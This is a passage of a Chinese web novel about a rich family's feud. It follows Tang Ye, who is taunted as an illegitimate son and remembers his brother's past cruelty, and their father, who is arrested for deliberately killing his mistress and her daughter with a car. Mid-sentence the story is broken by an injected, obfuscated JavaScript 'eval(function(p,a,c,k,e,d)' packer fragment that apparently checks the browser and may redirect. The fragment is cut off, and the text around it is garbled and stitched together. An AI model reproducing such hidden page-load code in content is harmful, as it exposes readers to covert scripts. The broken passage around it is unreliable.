唐晔正准备答话,这时,在另一张的桌子上却响起了一个不一样的声音:“作为唐家的公子,他又怎会以此作为工作呢?我们为升学、获奖而努力奋斗,但对他而言,那或许只是场游戏吧,只要他想要,有什么奖拿不到!毕竟连教育局官员都能随便拉下马,对吧?呵呵!” 何嘉南立刻反驳:“这位同学,怎么能这么说话呢?” 袁雅维的声音提高了几分,接口说道:“关于我们同学的能力,我们自己最了解。请问你凭什么这样对他说话?” 王翔宇也愣了一下,随即反应过来说:“这位同学,看来你对我们学校的实力,以及竞赛主办方的公平公正性有所质疑啊?” “哦?难道你们承受不起质疑吗?”那个学生代表嘲讽道。 唐晔看向这个生面孔,并不像是自己认识的人。他眉头紧皱,声音透露出一丝不悦,“学习和获奖对我来说并不是游戏,而是我对自己知识和能力的挑战。至于你说的唐家,那只是我出生的家庭。我认为,每个人的付出都应该得到尊重。” “唐晔,你别在意。”本校一位师姐安慰道,“我们都知道你的实力,也知道你的努力。这位同学,既然你是作为贵校学生代表过来参观学习,请注意你的言词和立场。” “看来你们都很捧这位唐家三公子的场嘛,不过,你们可要记清楚了,这位三公子只不过是唐家的一个私生子罢了!别到时追捧他而惹怒了真正的唐家人,自毁前程啊!”那个男同学厚颜无耻继续说着。 此话一出,何嘉南和袁雅维马上站了起来:“够了!”“闭嘴!” 王翔宇也马上说:“我不认为一个人的价值可以由他的出身来定义,请你放尊重些,不要以你的偏见来评判别人。” 对方有位女生也站了起来,她的脸上带着一丝愤怒,“陈哲,你的言论不仅不尊重这位同学,也是在为我们学校抹黑,让别人以为我们学校是以出身和财富教育我们的。我们在这里是为了学习和交流,不是为了听你诋毁他人的。请你立刻道歉,否则我会向学校反映你的情况。” 这个叫陈哲的男生显然没想到会引起这么大的反弹,他的脸色有些难看,但还是硬着头皮道:“哼,你们就是捧他臭脚,我懒得跟你们争。不过,你们最好记住我的话,别到时候后悔莫及。” 唐晔脸色微沉,对于这突如其来的嘲讽,他心中虽然不悦,但表面上仍保持着冷静:“我不是。但,就算私生子又如何?难道私生子就注定低人一等,没有追求知识和荣誉的权利吗?”他声音不高,却充满了坚定和力量,“我相信,真正的实力和能力,不会因为身份的改变而有所折扣。至于你所说的‘真正的唐家人’,如果他们真的如你所说,会因为我的身份而迁怒于他人,那他们也不值得众人去尊重和追捧。” 陈哲轻轻哼了一声,没想到以前唐晔总是独来独往,无人敢帮,现在身边居然有众多人一起维护他。他在众人的注目下,尴尬地走出饭堂了。 唐晔看着他的背影,轻轻摇了摇头,然后转向众人道:“谢谢大家为我出头,不过这件事就算了。我希望我们能继续专注于学习和交流,不要让这种小事影响了我们的心情。” 众人纷纷点头,表示赞同。刚才对方那位师姐走到唐晔身边,拍了拍他的肩膀道:“唐晔,你真的很棒。我为我校的陈哲同学向你道歉。不要理会那些无聊的人,我们每个人都应继续努力,用实力证明自己。” 唐晔微微一笑,并未再说话,却在下一刻,像被大雨浇醒了一样,脑海里浮现出一批被封存得严严实实的记忆画面——陈哲,跟在校霸陈常后面的“二号人物”……那所私立小学、三楼的男生厕所……哥哥的举动…… 放学时,何嘉南在天台上找到发呆中的唐晔,摸了摸他的头:“没发烧吧?总觉得中午之后,你就有点精神恍惚。” “何嘉南,我……想起了以前的一些事情,它们让我惊讶地发现,我以前过得并不如我认知的那么快乐。” “你愿意告诉我吗?”何嘉南坐到他身边。 唐晔摇了摇头,“具体的事情,我不想再去描述。” “……没事,你知道大家都支持你!那个人有毛病的,别理他!” “何嘉南,你会一直做我的好朋友,对吗?” “傻子,大家都喜欢你!我当然会一直和你做好朋友!”何嘉南又揉了揉他的头发。他发现他没法像对待别的朋友一样,给他来上一拳或是用力拍打他的肩膀。 唐晔太瘦了。而且他觉得,唐晔似乎越来越瘦了。 唐晔随意地靠在他的肩膀上。每次与何嘉南相伴,他都仿佛像是手机接触到无线充电器,很快就重新充满了活力。 他渴望在与唐天的兄弟关系中,也能展现出这种与对方相互辉映的状态,而不是总是消耗自己,磨损对方。 他还在消化哥哥对自己以前做过的事,所以这两晚上回到家,他都推说累了,早早回到房间里,躲着唐天。 但就区区两个晚上,他们再次不可开交。对于这样的关系,他感到疲惫不堪。 从香港回来的这一周,宋兰心绞尽脑汁把所有的古文学知识都晒了个遍,终于撩了唐晔说了好多话。她反复看着自己偷拍的照片里唐晔清瘦的侧脸和长长的睫毛,乐得合不拢嘴,在床上直打滚。她忍不住登录了她们那班世家女孩的群。 宋兰心:“嘿,姐妹们,都出来!给你们看帅哥!” 她发送了一张唐晔侧面照片。 群里一众女生纷纷响应:“哇,好帅!” “姐要把他的发荫梳起来!” “从此小说里的高帅富有脸了[星星眼]” “十分钟内我要他的所有资料!” “他好娇,姐好爱!” “你哪里碰见的这个极品?” “嘘,给你们偷偷地YY下就好了!这个极品,你们都没希望!”宋兰心得意洋洋地回复。 “什么嘛,吊人胃口!” “因为,他呀,是唐家老三!万里唐家!掂量下够得着嘛你们!” 一众世家女纷纷表示失望,什么嘛,好端端的极品,却可望而不可及。 “不过之前也没听说过万里唐家有老三啊?”一个小姐妹说道。 “是啊,唐大叔膝下不就唐笑和唐天么?哪还有什么老三?” “谁见过啊?” 世家女们纷纷表示没有。 “你们别怀疑了,唐天当时也在场呢,那小霸王还一直围着他转,这还能有假!说是从小体弱,基本只能呆在家里。” “真的?我家以前去过他们家,也没见过这个老三啊?” “据说是一直呆在万里爷爷那。” 这时候宋玉洁也登录了:“姐妹们,散了吧!我妹自己在那儿发花痴呢!” “怎么回事?” 宋玉洁发送了一个得意的表情:“我刚刚才问过归哥哥,他很肯定说他姑只生了唐天一个儿子。” “归哥哥的这两年不是一直在M国读书么,都没回来过,我想死他了!” “再说就算是身体原因不进社交圈,难道自己表哥以前来家里玩也避而不见?” “我无意中扫了一眼他的港澳通行证,”宋玉洁发了个神秘一笑的表情,“他也是01年12月的。” “唐二我记得他生日不是01年12月份的么?那怎么可能!” “双胞胎不是双胞胎,兄弟也不是兄弟……” “哎,我突然想起一件事。以前啊,可是传说过万里爷爷和一个非常年轻的外国女模有个私生子的……” “姐,你不觉得你刚才说得很过份吗?”宋兰心一把推开宋玉洁的房门。 “我怎么了嘛,不就是一个男生嘛,值得你宋家二小姐这么大呼小叫?” “我……也就加他微信随便聊下天,你也不至于把人往死里踩吧?” “呵呵呵!手机拿来吧!……嗯这样发就好了。谁叫他光让你加微信而不肯加我的,我宋大小姐申请了几次好友都置之不理?姐姐我不要面子啊?小小地给他添个堵还不容易?回去睡吧,明晚换件漂亮衣服,姐带你看男人去!……好啦,撩一下就行了,要认真起来的话,你还当真想找个私生子啊?” …… 梦境的开始,是一个穿着白衬衫的赤脚男孩的背影,他走在一个山青水碧的地方。 河边的小船里,渔人在酣睡,鸟儿在头顶轻声嘀咕。他走在河边,清澈透明的水漫过他的脚背,微风送来阵阵芳草的清香。男孩轻甩着头发,伸了个大懒腰,惬意无比。 突然,血色的黄昏笼盖了一切。男孩不相信似的揉了揉眼睛,等到他再睁开眼睛时,竟发现自己像是处于一个异世界中:只见周围一片高低错落的土黄色的房屋连绵不绝。屋顶平整坚实,土色中透出岁月的痕迹。街道两旁,房子的门窗雕刻精美,有些是半圆形的,有些甚至类似于洋葱的形状。彩色玻璃在夕阳下折射出斑斓的光影。空气中弥漫着沙尘的气息,与远处不知哪个寺庙传来的诵经声交织在一起。 头顶的天,马上黑了下来,而远处依然是一片血红。呀!原来小镇着火了! 席卷的狂风,带着热浪一把一把的冲击着男孩,浓烟漫漫,沙尘滚滚,火焰如狂龙般窜出,吞噬着土木结构的房屋,火舌疯狂地舔舐着屋顶,土色在烈焰中变得焦黑,岁月的痕迹在火海中化为灰烬。墙面上的彩绘图案在火光的映照下变得扭曲而狰狞,仿佛历史的印记在痛苦地呐喊。 街道两旁房屋的门窗在火焰的舔舐下逐渐扭曲变形,彩色玻璃在高温中融化流淌,色彩斑斓的液体如同炽热的眼泪,在火海中闪烁着诡异而孤独的光芒。 火光冲天而起,将整个天空映得通红,仿佛要将这无人小镇彻底吞噬。空气中弥漫着烧焦的木头和烤羊肉的焦糊气味,令人窒息。清真寺的诵经声早已消散在火海中,取而代之的是火焰的咆哮声和木材的爆裂声,这些声音在空旷的街道上回荡,显得更加凄厉而恐怖。 男孩惊恐万分,他的发尾和白色T恤都被火星灼烧,他不知道自己该往何处逃生,只感觉死亡正在逼近。然而,就在这时,远处传来了一阵奇异的敲击乐声,那乐声宛转悠扬,如泉水叮咚流淌在山间,清新悦耳。它仿佛具有魔力,让周围的热量都降低了。 男孩鼓起勇气循声而去,他甚至敢于赤脚踩在炽热的土地上。 奇迹发生了——在他每一步落脚之处,都开出了一朵巨大的花朵!它们的花瓣洁白无瑕,边缘微微卷曲,宛如雪山的轮廓,花蕊中心拱着一簇深邃的蓝色。它们在火海中绽放,既冷艳又孤傲,宛如冰雪中的精灵,带着冰晶的气息,绽放在男孩的赤足下,为男孩指引方向。无论是熊熊燃烧的火焰,还是弥漫在空气中的焦糊味,都无法掩盖住它们。 终于,男孩再次回到了那条清澈凉爽的河边。 他回望身后,只见那些曾经引导他的巨大花朵,洁白的花瓣片片随风飘散,与那个异域小镇一起,消失得无影无踪。 …… 周六清晨,唐天睡醒,一边揉着眼睛一边打开房门,准备跟黎梓茵约会,难得周末看到弟弟醒得比他还早,坐在二层落地窗边的椅子上发呆。 “小晔早啊!睡得好不?” 唐晔双手死死捏着手机,垂在大腿上,脸一直看着外面,仿佛没听见唐天跟他打招呼。 “在看什么?”唐天走到他身侧,他还是一动不动地盯着窗户外面。 唐天站在他前面,弯腰捏着他的下巴,把他的脸转向自己,微笑地说:“怎么啦,发什么呆?”一瞬间他的笑容凝固在脸上——唐晔的视线被迫从窗外转向他,但他的眼神,那种仿佛带着悲凉,又仿佛,什么情绪都没有。 他一字一字地说:“唐天,你真让我恶心!” 唐天陷在他的眼神里,好一会儿,他才弱弱地问:“你怎么了?” 唐晔冷冷地说:“应该是我问你吧?为什么你要一而再、再而三诋毁我?” “我诋毁你?我又怎么得罪你了?你说啊!唐晔!小爷我最近一直在迁就你讨你开心,还不够吗?”唐天朝他吼着,再次接触到唐晔毫无色彩的双眼,他的声音软了下来,轻轻按着他的双肩,耐着性子说道:“小晔!我的好弟弟!我真的不知道你在说什么!” 唐晔直直盯着他,忽然垂下眼睛冷笑说:“看来睡一觉你什么都忘记了。” 他打开手机,从信息里找出与宋兰心的聊天记录。 昨天 22:58 宋兰心:“在吗?你那个哥哥,怎么会跟我姐说他根本就没有弟弟,唐家除了他唐天,就只有一个不知哪个贱女人的私生子而已。这究竟是什么回事?你究竟是什么身份? ” 23:30 宋兰心:“你为什么不回复!!!能解释一下吗?” 【图片】 群聊的截图里,有些名字唐天认识,都是几个大世家的小公主们,但从她们平时精致优雅的小嘴里,竟能吐出有关于“唐叔叔”、“归姨”、甚至“万里爷爷”、“唐家”等等的各种恶心不堪入目的恶毒猜测,唐天看得心乱如麻。 23:50 宋兰心:“就你这种私生子也配跟我说话!真晦气!” 唐天闭上眼睛,默默地放下手机。他不知道怎么澄清这些莫须有的猜测。 唐晔猛地抬起手臂一抓,抓着唐天胸口的衣服用尽全力把他拉近自己,死死盯着他的眼睛质问道:“你明明知道我是谁!你明明知道我什么都不想和你争!为什么就是不肯放过我!” 透过他冰冷且空洞的眼神,唐天仿佛看到了六年前的那个矮了自己一个头的弟弟。当他被人从自己身边推开时、当自己轻蔑地把他送给自己的画踩在脚下时,他也曾这么一眨不眨地盯着自己。那时候,他的眼神里有些委屈、有些失望,但还有亮晶晶的光。 这几年,他从被自己伤害、自我安慰、再凑过来被自己再伤害再自愈再被伤害……到后来,他看向自己的眼神里,终于空无一物。 唐晔走出家门,他已经管不上二楼响起的各种砸烂东西的响声了。 见二少爷在楼上发了疯似的砸东西,陈姨也有点胆战心惊,忙打了太太的电话,但好几遍了都一直接不通,她只好找大小姐出马。 陈姨领着唐笑进屋,随后登上二楼。她首先指向三少爷平时弹琴作画的书房,让唐笑观看。书房内,多数画作已被撕毁,碎纸散乱一地,毛笔和砚台也随意丢弃。尤为令人惋惜的是那床古琴,被弃置在地,上下片已然分离。 唐天的房间里,没有开灯也没有拉开窗帘,漆黑一片。 唐笑走进去顺手开了灯,刺眼的灯光让唐天倏地闭上眼睛。 他无力地问姐姐:“姐,你怎么来了?” “听陈姨说你和小晔一大早就吵架?他走之后你还把他的东西都砸了? ” “我们没吵架。他又怎么会跟我吵?……是宋兰心,那女的给他发了些不堪入目的信息。”唐天把刚才在小晔手机里看到的聊天内容告诉姐姐。 唐笑沉吟片刻,奇怪道:“那她们怎么会说,是你说小晔是私生子?” 听到“私生子”这个词,唐天用力甩甩头,像要把那个字眼甩开,“我也觉得奇怪!……我承认,以前小时候在家里,我有当着大家的面这样羞辱过他……是!以前是不懂事!但那是几岁的事了啊!而姓宋的女人说的就像是我昨天才跟她说的似的。这可能就是小晔这么生气的原因吧。” 唐笑仔细问了问,又想了一下:“她们说的哥哥,不会是归老表吧?毕竟表哥也是哥,宋家和妈妈家挺密切的。” 唐天抓着头发的动作一滞,马上跳起来抓起手机,翻出表哥的电话打了过去。 “……喂,唐天?你小子干嘛啊,我刚睡着!”归秀兰的侄子归路,在M国曼哈顿。 “死陆龟,我问你,你昨天有没跟宋家那两姐妹说过什么?”唐天急急吼吼。 “我说什么了?我忘了,让我想想……哦,我记得了,对,昨天宋大妞问过我你们唐家老三的情况。” “那你是怎么说的?” “照说呀!我说你们唐家哪来的老三!只有一个来历不明的私生子么?” “你疯了吗?你跟那女的乱说些什么鬼话!” “你有病吧,唐天!这些话还不是以前你自己说的!……喂,喂,你不会真信了吧?!” 唐天愤愤挂掉电话。“现在弄清楚了吧?根本就不是我说的!小晔在哪,我马上去跟他说清楚!” “我建议你先别去,小天。” “难道就让他这样误会我吗?不行!我必须马上跟他解释清楚!是我做的我会认,不是我做的休想安在我头上!” 唐笑默默地看着暴跳如雷的唐天,等他吼完,才慢慢悠悠说:“就你现在这样子去见他,是想给他解释,还是想给他一顿揍啊?” “你什么意思?!” “小天,你有没想过,为什么他这么聪明,却看不穿这些女孩们的把戏?谣言止于智者。嗯,你刚才说,他那么生气?不,他并不是生气,而是,他已经放弃接近你、了解你了。他觉得每当靠近你一些,总会被伤得体无完肤……” “小时候,他接近你、讨好你,你心情好的时候就赏他笑容,心情不爽了就随意欺辱他;再大一点,你看他会讨爷爷欢心,转头你就故意在同龄人面前中伤他羞辱他,让他孤独、被人轻视,包括但不限于随意闯进他房间弄坏他的宝贝,撕掉他的画、砸了他的东西、杀死他的金鱼,甚至在学校里与别人一起欺辱他……” “现在你被他误会一下,你就如此愤愤不平,要马上跑到他面前理直气壮让他原谅。那他呢?可曾得到过你这样包容?” “哪怕——我打个比喻——哪怕他真的是个私生子,那是一个小孩的错吗?何况,他不是!我们都知道他是二叔的唯一血脉,和你我一样清清白白!他何其无辜!” “再说了,我知道从去年小升初考试那时你们关系就缓和了很多。但前两个月,他曾经忍不住和我诉说过你们俩平时相处的事——说到你平时要么就对他很好、他的所有事情都关心一下,他有时晚了回家就突然发脾气对他大吼大叫。这些事情堆积在一起,让他困惑是不是又要回到小时候的境遇。” “你该长大些了,小天。” 唐笑坐在电话旁,手指轻轻摩挲着手机的边缘,心中涌起一股难以名状的复杂情绪。 自从四月份她与唐晔吵了那一架之后,她后来也尝试过想与唐晔和好,唐晔的态度不差,但明显比以前要礼貌和冷淡许多。 她后悔过那晚的言论,除了深知三弟的能力,以及祖父虽不承认、但唐晔对于祖父来说,的确是最特别的孩子。 她正准备拨通唐晔的电话,想要尝试去劝和两兄弟之间的纷争,然而,就在这时,电话铃声突然响起,打破了她的沉思。 “喂,妈妈,怎么了?”唐笑的声音里带着一丝疑惑。电话那头,归秀兰的声音显得异常沉重:“笑笑,你在小天那儿吗?我有些事情要告诉你们。” 归秀兰的话音未落,唐笑已经预感到了不妙。她的心跳开始加速,仿佛有一股无形的力量在紧紧揪住她的心脏。 “你们父亲,唐山海,他……他出了一件大事。”归秀兰的声音颤抖着,每一个字都像是从牙缝里挤出来的。 唐笑的大脑一片空白,她几乎不敢相信自己的耳朵。唐氏集团的总裁,那个一直以来都是他们姐弟俩心中的骄傲和依靠的父亲,怎么可能出大事? “昨天深夜,他驾车撞到了一对母女,然后肇事逃逸。今早被交警查到并带回去协助调查了。”归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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归秀兰四处奔波,想要找人帮忙,然而,平时那些交好的关系此刻却纷纷避之不及。她感到前所未有的无助和绝望,仿佛整个世界都抛弃了他们一家。 唐笑和唐天也陷入了深深的困扰。他们不知所措,面对突如其来的变故毫无头绪,不提如何帮助那位曾给予他们无尽关爱和支持的父亲了,更不知道如何安慰焦虑的母亲,甚至,无法回到她身边! 而更令人惊讶的消息就像洋葱一样,一层一层地被剥露出来。原来这对母女不是一对普通的母女,据撞人的那台车的车主、也是唐山海的旧时同学透露,他们竟然是唐山海的情妇以及私生女儿! 唐山海与此女性已认识二十多年,大学时及毕业后曾有过恋爱关系。后来此女性也出了国、唐山海也结了婚,但差不多八年前女人回了国,唐山海与她似乎从那时起就旧情复燃了,虽然每月见面不多,但感情非常稳定,一直借由同学相约的机缘,以及同学的经济型车辆进行见面。那位女性自己也有稳定工作,在经济上也并非全由唐山海支持,所以八年来,竟无人察觉。 听到这个消息时,归秀兰仿佛被五雷轰顶,整个人呆立当场,无法动弹。她一直以来都以为自己和唐山海是两情相悦,相敬如宾的夫妻,却没想到这竟然是一场镜花水月般的幻梦。 原来,他给予她的宠爱,只是别人吃剩的残羹冷炙?他对自己泼辣性格的包容和忍耐,仅仅因为毫不在意? 她颤抖地给公公去了电话。 唐万里惆怅万分地告诉了她一个事实:他们两人二十多年前相识时,唐山海已有了恋人。 那时,万里地产正经历艰难时刻,太太玛合玛丽因生产去世,唐万里无心经营,导致万里地产陷入困境。而在他们相识不久前,归秀兰的父亲伸出援手,刚助唐万里渡过了最艰难的一关。 看出秀兰大侄女对山海的意思,又出于对老朋友以及生意伙伴的感激之情,唐万里给了大儿子一个选择—— 要么,自己离家与女友白手奋斗;要么,与女友分手娶归秀兰,他拨一大笔资金给他另行创业。 那时,比唐山海小了近20岁的唐晚星,几岁便显现出非凡才华,在家里被唐万里宠上了天。 上有方哥忠于父亲、下有小弟聪慧过人,唐山海选择了后者。 归秀兰听到这里,心中已经明白了大半。她感到一阵心痛和愤怒,原来,自己竟然是这样被选择出来的!她一直以来都以为自己是唐山海心中的唯一,却没想到自己竟然只是一个替代品。 多年来,唐山海始终背负着唐万里的目光、以及天才弟弟唐晚星追逐的脚步,他只能始终兢兢业业,对归秀兰体贴入微,对儿女疼爱有加。在创立唐氏集团后,他更是发奋图强,站在巨人的肩膀上,成功眺望到更远的地方。因此,这二十多年来,无论是万里地产还是唐氏集团,都稳居南方企业的前列,两父子更被誉为商业奇才。 当唐山海也想着与这位大方得体的太太过完这一辈子,似乎也是一件美事时,却在得知十几年前分手出国的初恋女生刚回了国、还过得不甚舒心时,他心里的那团火星又成了燎原之势。 归秀兰听完公公的话,心中五味杂陈。她不知道该如何去面对这个突如其来的真相,更不知道该如何去面对那个曾经给予她无尽关爱和支持的丈夫。 她回想起小侄子唐晔刚来到唐家时,自己或保姆一提到私生子一词时,唐山海的强烈反应。那时,她还以为是因为唐晔的身份敏感,却没想到背后竟然隐藏着这样的秘密。原来,唐山海对唐晔的态度,是因为他心里有着另一个刚出生幼童的影子——那个以前令他牵肠挂肚、后来又撞之而后快的女童才是他的非婚生子女。 归秀兰感到一阵心痛,她不知道该如何去面对这个家庭的变故。她只希望,这一切能够尽快过去,让他们的生活重新回归平静。 归秀兰完全不顾及自己作为富豪太太应有的礼仪风范,她心急如焚,四处奔波,只为能见到唐山海一面,弄清楚他内心的真实想法。 经过多番努力,她终于在拘留所里见到了唐山海。 短短两日不见,他已是白发满头,看起来老了十岁不止。 唐山海反反复复地只说着两句话:“我对不起你们三母子”、“我的财产已转移到你名下”,他的声音沙哑,痛苦不堪。 归秀兰的心痛如刀绞,她望着眼前的这个男人,却感到一阵深深的陌生和失望。她努力保持冷静,她问道:“难道你不应该给我个解释吗?” 唐山海抬起头,眼神空洞而迷茫:“解释?……哦,我原以为这个女孩是我的亲生女儿,结果却突然发现不是。在一收到DNA检测报告当晚,就忍不住对她们下了手。” “我向你忏悔,我对不起你们三母子,但我,丝毫不觉得杀了这对骗了我7年的母女有什么不好!”他的声音里竟蕴含着一丝冷酷。 归秀兰震惊得无法言语,她不敢相信自己的耳朵。她瞪大了眼睛,盯着唐山海,试图从他脸上找到一丝一毫的悔意和愧疚。然而,她看到的只有绝望与冷漠。 “你疯了吗?”归秀兰终于忍不住怒吼道,“那个女孩不是你的亲生女儿又怎样?你也不能就这样下杀手啊!她也是无辜的生命!” 唐山海却冷笑一声:“她骗了我7年多!她可以早点告诉我这孩子不是我的!不值得,她不值得我的期待啊!” 在她心中那个曾经深爱着她的丈夫,如今却变得如此陌生和可怕。 归秀兰感到一阵深深的绝望,她知道自己已经无法再和这个男人继续生活下去。她给了唐山海一个“无可救药”的眼神,转身离开了拘留所。 她知道,自己还有更重要的事情要去做。唐氏集团不仅是唐山海的心血,也是她归秀兰长久以来的努力。她必须坚强起来,面对这个突如其来的变故,保护好自己的孩子和事业。 这个周末,唐晔躲到了何嘉南的家里。他们一起学习、做作业——主要是唐晔盯着何嘉南做,又一起跟着何爸爸解读新期刊上的论文,一起和何妈妈研究古文记载,一起沉浸在电脑游戏的世界里,一起在珠江边骑车,享受着难得的宁静和自在。 预感到哥哥可能会找他的麻烦,所以唐晔故意关掉了所有的联系方式,只想与好友共度这个无忧无虑的周末。 然而周日下午,当他们沿着江边骑行了差不多10公里再回到何嘉南的家、准备和何爸何妈一起吃晚饭时,却看到一脸焦灼的方源已经在何家门口等着了。 唐晔看他的神色,一脸忧心忡忡。 “怎么了,方伯伯?难道哥哥把事情闹到爷爷那边去了?”大概方伯伯怕自己因得罪唐天而被爷爷唐万里责备吧,唐晔随口问道。他已经不在意会被如何对待了。 方源与唐家人三十年来的亲密关系,早已让他们成为了一体。此时,他满脸忧虑,对唐晔说:“少爷,请上车跟我回云山大宅再说。” 唐晔心中涌起一股不祥的预感,他皱眉道:“怎么了,明早要上学,我回去的话哪来得及赶回学校。” 方源迟疑了一下,看了一眼身旁的何西,似乎有些难以启齿,但还是硬着头皮说道:“少爷,这几天,您暂时别去学校了。” 唐晔偏过头,用询问的眼神看着方源。方源深吸了一口气,终于说出了那个令人震惊的消息:“您爸爸、不,您的伯父出事了。” 唐晔闻言心中一震,他迅速拿出手机开了机,开始查阅相关的新闻和信息。很快,他就了解了事情的全貌。原来,唐山海因为涉嫌故意杀人而被警方拘留,这个消息已经传得沸沸扬扬,引起了社会各界的广泛关注。 方源看着唐晔震惊的表情,继续说道:“现在很多记者蹲守在唐氏集团与唐总的家门外,还会有些小报记者蹲守在您的学校门口。毕竟去年底……梁局长的那件事,还是让很多人知道唐家小公子就读于这所学校。” 唐晔的心中充满了混乱和担忧,他首先想到的是唐天的情况:“哥哥呢?他怎么样?” 方源回答道:“二少爷还在书院,您俩以及大小姐的住处暂时还没被留意到。” 唐晔稍微松了一口气,但他知道这并不是解决问题的办法。他想了想,然后说道:“那我就回书院。” 然而,方源却摇头道:“三少爷,老爷认为你应该回云山大宅,您是未成年孩子,事情与您无关。” “那哥哥呢?为什么不把他也接过去?” “二少爷不愿回去,在书院与大小姐一起等候消息。” 唐晔坚定地说:“那我陪在哥哥身边,下个周末再回去看爷爷。方伯伯,请转告爷爷,我知道他的心很烦,也很想陪同爷爷,但他有您在。现在我更想陪在哥哥身边。”这个时候,唐天一定也承受着巨大的压力和痛苦,更需要支持和陪伴。 不管如何,他希望唐天永远意气风发。 25. 第 25 章 唐天这两天过得很恍惚。 多少次又梦见那个小镇,又是一场烈焰狂舞。火舌肆虐,房屋化为灰烬,彩绘图案扭曲狰狞。门窗变形,彩色玻璃融化流淌,诡异光芒闪烁。火光映红天空,空气焦糊窒息。诵经声消散,火焰咆哮和木材爆裂声凄厉回荡——长发男孩再次在热浪与浓烟中迷失。 这时,又是奇异乐声传来,清新悦耳,让周围热度再次降低。 这次男孩不再犹豫,循声寻去。他果断地赤足踏过炽热土地,果然每一步都开出大朵洁白的花朵,它们似乎带着冰雪的清凉,花瓣闪烁着淡淡的寒光。终于,他回到河边,回望身后,那些洁白的花朵随风飘散,小镇消失无踪。 他试图顺着风抓住一片花瓣。但这花瓣就像冰晶一般,在他手心里融化成了水,一滴一滴的滴落下来。 他像一个被弄坏了玩具的孩童一样,凄厉的哭叫起来:“不要,不要!还给我!这是我的!还给我!” “哥哥,醒醒!……”耳边传来一阵熟悉的柔软的声音。 “不要。不要离开我!”唐天泪流满面地醒过来,拼命地攥紧手心,仿佛失去了最珍贵的宝物。 唐晔侧身坐在他的床头,手轻轻抚着唐天的额头,房里只有他们两人。 唐笑让陈姨和唐晔看好发烧中的唐天,她匆匆离开,看能否回到归秀兰身边,与妈妈一起把家庭及事业负责起来。 “不要离开我!”唐天看清眼前的人,突然从床上跃起,紧紧抱住唐晔,仿佛要将弟弟融入自己的身体里。他的声音带着颤抖和哭腔,每一个字都充满了无尽的绝望和恳求:“不是我说的!不是我!我错了!我也不想的,小晔,我也不想这样。” 唐晔轻轻拍着他的背:“知道了,我回来了。现在我不是在吗?” 他的每一个字都如同甘甜的清泉,滋润着唐天被火灼烧过的心灵。在他的哄睡下,唐天渐渐放松了紧绷的神经,再次陷入了梦乡。 唐晔看着哥哥的呼吸变得平稳而深沉,仿佛一切烦恼和痛苦都随着梦境的消散而远去。他脑海里模模糊糊有个轮廓,却总是像少了一块的拼图,暂时无法拼出整件事情。 这几天,弟弟似乎有求必应,无论是要求他喂自己吃东西、还是抱着自己,他都一一满足。唐天放肆享受着在他的怀抱里被他关爱的满足。 清晨的阳光透过薄雾,洒落在唐天的床上。他缓缓睁开眼睛,感觉已经不发烧了,但却突然觉得有些异样。 房间空荡荡的,没有这些天来一直熟悉的弟弟的身影和声音。他皱了皱眉,坐起身来,环顾四周,心中涌起一股莫名的不安。 “小晔?”唐天轻声呼唤着,但回应他的只有寂静的空气。 他走出房间,开始在屋子里四处寻找弟弟。 唐晔的房间门关着,他轻轻推开,只见床铺整洁,却不见人影。 唐天又向楼下张望,大厅、饭厅,甚至是他自己的音乐室,都没有找到弟弟的踪迹。 就在唐天感到越来越焦虑的时候,他听到了一个微弱的声音从有浴缸的那个浴室传来。他顺着声音走去。 只见浴室门半开着,里面传来唐晔的说话声。 “最近没有弹琴啊……嗯,那个琴坏掉了。……摔坏了呗……坏了就是坏了,哪有那么多为什么……那天回到家,它就坏掉了……有可能,是哥哥摔的吧……什么叫说的那么轻松……那天我不是和你说了,我们俩吵架了吗?弄坏我的东西,见怪不怪吧……我和哥哥之间,曾经发生过一些不愉快的事情。” “何嘉南,其实有一些事,我一直无法启齿……哥哥曾经非常排斥我。”唐晔的声音带着一丝颤抖,“……那时候的我,难过得无以复加。……我其实反而希望,这一切永远想不起来。” 唐天听到这里,心脏猛地一紧。他这几天已经觉察,弟弟对他的态度好像有些不一样了,太过顺从,像是个眼里只有自己而没有灵魂的机器娃娃。 原来,他已经想起去年的事,想起了自己对他的残忍与欺辱。 他是在害怕我、怕我再对他下手吗? 虽然自己也向何柏文诉说过他们兄弟之间的过往,只是他没想到,弟弟竟然也会向何嘉南诉说。 他无法忍受弟弟向别人诉说。他感到一阵强烈的愤怒和失望。 但他还是强忍住情绪,继续听下去。 电话那头的何嘉南不知说了什么。 唐晔苦笑一声:“我不想再记得……哥哥是我的家人,除了你,我不想再让别人知道这些事情。” 唐晔听着电话,又沉默了一会儿,然后缓缓开口:“以前,不懂恨。现在不想恨,那些过去的记忆,总是像一根刺一样扎在我心里,让我无法释怀……爷爷吗?没有他也没有我,不可恨。真的要说恨的话,我恨父母从未在我身边给予我耐心与保护……我想终有一天,我也可以拥有底气,勇敢告诉他‘你不可以’。但是我现在做不到……在你身边,我真的觉得很快乐。我呀,看似什么都不缺,但实际上我也不知道拥有什么。我没有这样的自信,我也很讨厌这样左右为难的自己……我很害怕,但又觉得自己一定能挽救些什么……”他的声音渐渐低了下去。 “何嘉南,说‘不’的权利,我也有吗?……” 唐天站在门口,双手紧握成拳,愧疚与自责如同火焰般在他内心狂舞。他感到自己的大脑仿佛变成了一团乱麻,一方面,他为自己的过失感到痛苦不堪,另一方面,他又控制不住自己的情绪,想要破门而入,把他捏在手里,狠狠地揉碎。 “不,我不可以!”唐天在心底嘶吼着,理智的声音在脑海中回响。他深知情感障碍再次作祟,他不能让自己的情绪失控,伤害到小晔。 他只能转身冲进音乐室,用力关上门,将自己紧紧封闭在这个小小的空间里。 大把大把地吞食药片、疯狂地弹琴、唱歌、创作,音乐成了他宣泄情绪的出口。他的灵感如泉水般涌现,每一个音符、每一个旋律都承载着他的情感,如同他内心的呐喊和哭泣。 任凭手机声、敲门声响震天了,他觉得好烦,好烦,好想所有的声音全都消失掉! 陈姨敲了敲那个大卫生间的门:“三少爷,你在跟谁说话呢?你手机响了好久,来,手机给你!” 唐晔就着水龙头洗了把脸,谢过陈姨,接起了电话:“喂,何嘉南,还好,没啥事,你跟柏文哥哥要来看我们?不用啦,我没事啊,哥哥心情不太好,但我们陪着他。嗯,有啥事我会打给你。谢谢了,88!” 唐天又在冗长的梦中惊醒。 